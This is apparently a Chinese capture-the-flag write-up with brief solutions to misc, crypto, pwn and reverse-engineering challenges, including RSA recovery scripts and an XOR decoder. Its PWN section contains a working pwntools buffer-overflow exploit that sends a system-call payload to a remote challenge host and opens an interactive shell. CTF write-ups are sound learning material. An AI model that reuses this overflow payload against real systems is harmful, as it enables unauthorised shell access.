各位师傅脑洞太大了，我太菜了！

MISC部分

7zip无视任何伪加密

解压后用HxD 发现应该是png的文件 ，修改文件头得到图片

十六进制的ascii 转一下得到flag

修改png图片高度得到flag 过程略

分离得到压缩包 压缩包里有个伪装程jpg的avi文件

使用ffmpeg分帧得到图片序列 

发现几张图片中有二维码

整理一下扫一扫得到十六进制ascii 解密得到flag

ps:有一张二维码我分离出来是很糊的，究其原因是二维码和背景穿插在一起了，写了个小工具隔行提取像素

好分辨多了

发现图片像素部分不是很整齐，猜测在数据里加入了什么奇怪的东西。直接拖进HxD搜索BJD获得flag

伪装成png的jpg结尾有个损坏的zip，修复一下文件头提取出来

是个不是十分清楚的二维码，之前写过一个工具把01转成二维码 的

这里可以把#号和空格先转成01，再用工具来转图片

扫描得到信息：

od -vtx1 ./draw.png | head -56 | tail -28

linux下跑一跑

好像存在若有若无的信息

复制出来把00替换成空格

得到flag

属性里发现新与佛论禅密码

题目信息需要把com删掉再猜

outguess解密获得flag

发现文件名就是解压密码，但是有好多好多的压缩包套在一起

简单写了个脚本来解压

#coding:utf-8
import os
import zipfile
zipfile_addr0='C:\\Users\\80597\\Desktop\\uSCYwZqgj\\'
zipfile_addr=zipfile_addr0
pwd='uSCYwZqgj'
lastname='uSCYwZqgj'
while(1):
    zip_file = zipfile.ZipFile(zipfile_addr+lastname+'.tar.gz', 'r')
    for names in zip_file.namelist():
        zip_file.extract(names,path=zipfile_addr0,pwd=pwd.encode('ascii'))
        pwd=names[:-7]
        print(pwd)
        print(names)
        lastname=names[:-7]

报错的时候就是解压完的时候，最终解压出一个flag文件，打开获得flag

太麻烦了没有做，大概思路是根据MP4文件的声音和图形，在 http://taqini.space/mikutap/

找到正确的输入方式，音痴听不出来声音差别，加上有几个按键的图形是一样的，不会写脚本就没做

CRYPTO部分

base64解密获得flag

标一下拼音再读一遍获得flag

按着猫吃的东西的种类转成01，获得二进制编码的ascii码，解密得到flag

对着密码表得到flag

十六进制转ascii得到一个密码和一串像flag的东西，维吉尼亚密码解密得到flag

quipqiup解密得到flag0，发现flag0最后的Cr4cy有点奇怪，改成Cr4ck提交成功。

已知p+q,p-q,e,c

#coding:utf-8
import gmpy2
import rsa
pq1=22250388048308880024316977349809341685939423162948275675947994085277054361774080494965261301741886719459528418084716960924861010295152524116880106497751522
pq2=1054197181278220421888166119550140206534865025301161131046113252425996692768421411790410456867577308951447266942967113049841752689395865305880406455068220
p=(pq1+pq2)/2
q=pq1-(pq1+pq2)/2
n=p*q
e=14354833
c=68975112462890588270208172994998743048269763196801643704249476699155516613422462080922918826015370109617536436870486169450728501884086888980608553291557303300708412437649232464407278064464958090097840631966205830777344512480936853537170969350350938450458067949421536725209001694542396593041569244275234737354
d = int(gmpy2.invert(e, (p-1)*(q-1)))
m = pow(c, d, n)
print("十进制:\n%s"%m)
m_hex = hex(m)[2:]
print("十六进制:\n%s"%(m_hex,))

得到ascii码的十六进制形态，转一下获得flag

已知p^2+q^2,p-q,e,c

#coding:utf-8
import gmpy2
import rsa
p2q2=gmpy2.mpz(259870150123202155454079964196229682318882693733539125242181833753341522297911395053147840768751918376164416317984514098945599534262350832868637788562885745274992015203575025030520640189057961708030793208096741255732498859326630721887405343134923671852707579754268030462046680489211147355847068685567008847050)
pjq=gmpy2.mpz(1180860509687096025228744618117184943328163071354319023947142766094690788978515122755023082429739737904484382341771193026821616292827580560261545374978242)
e=14895131
c=gmpy2.mpz(26187382623647278373304895968254513957970995846994656651856434786558410150064637317346872011072665992032405303757734513417189115004205856776310280756771373475612428904395880721184617021494677547829121069525059620157504999409025383169676626532774335579689448879911225100594216817651872138927531391118873652889)
pq=(p2q2-pjq**2)/2
print p2q2+2*pq
pq2=gmpy2.iroot(p2q2+2*pq,2)[0]
print pq2
p=(pq2+pjq)/2
print 'p:'+str(p)
q=pq2-p
print 'q:'+str(q)
n=p*q
print p+q
print p**2+q**2
d = int(gmpy2.invert(e, (p-1)*(q-1)))
m = pow(c, d, n)
print("十进制:\n%s"%m)
m_hex = hex(m)[2:]
print("十六进制:\n%s"%(m_hex,))

得到ascii码的十六进制形态，转一下获得flag

PWN

#coding:utf-8
from pwn import *
p=remote("node3.buuoj.cn",26768)
#p=process("./r2t3")
#attach(p,'b strlen')
sysaddr=0x8048430
binaddr=0x8048760
i=1

while(1):
	#p=process("./r2t3")
	#p.sendline('aaaaaaaa'+'\x00'+'a'*100)
	p.sendline('a'*21+p32(sysaddr)+p32(binaddr)*1000)#暴力可以解决很多问题
	i=i+1
	print i
	#try:	
	#	print p.recv(timeout=1)
	#	print p.recv(timeout=1)
	#except EOFError:
	#	p.close()
	#	continue
	#p.close()
	p.interactive()

RE

IDA里shift+F12 搜索字符串得到flag

16位程序用IDA反汇编效果不是很好，从吾爱破解淘了个工具过来

虽然看不太懂，这个和1F异或还是很明显的

结合之前在IDA里找到的字符串

写脚本拿flag

#include<stdio.h>
#include<string.h> 
int main()
{
 char a[]="]U[du~|t@{z@wj.}.~q@gjz{z@wzqW~/b;";
 for(int i=0;i<strlen(a);i++){
 	printf("%c",a[i]^0x1F);
 }
}